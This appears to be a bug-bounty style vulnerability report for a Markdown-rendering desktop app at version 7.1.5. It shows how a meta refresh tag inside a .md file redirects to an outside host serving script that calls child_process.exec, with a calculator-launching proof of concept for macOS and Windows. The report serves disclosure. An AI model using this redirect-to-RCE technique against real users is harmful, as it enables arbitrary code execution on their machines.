RCE Vulnerabilities via meta redirect

[AliceLacie]

Author: [email protected]
OS: macOS 
Version: 7.1.5

Summary

It has been possible to trigger Remote Code Execution via meta redirect

Description

When you open the .md file containing the mata tag, the meta tag is applied and the location can be moved to the hacker server via meta redirect.

[macOS]
file content

<meta http-equiv="refresh" content="0; url=https://ursobad.xyz/xss/a.html"></meta>

<!-- a.html-->
<script>
	require('child_process').exec('open -a /System/Applications/Calculator.app')
</script>

[Windows]
file content

<meta http-equiv="refresh" content="0; url=https://ursobad.xyz/xss/b.html"></meta>

<!-- b.html-->
<script>
	require('child_process').exec('calc')
</script>

PoC

https://drive.google.com/file/d/1pEjEgBIuv2-cWw9is5bG8BeqC5ngfsnA/view?usp=sharing

What’s More?

• if you have any problems, contact me via [[email protected]]
• Thank You!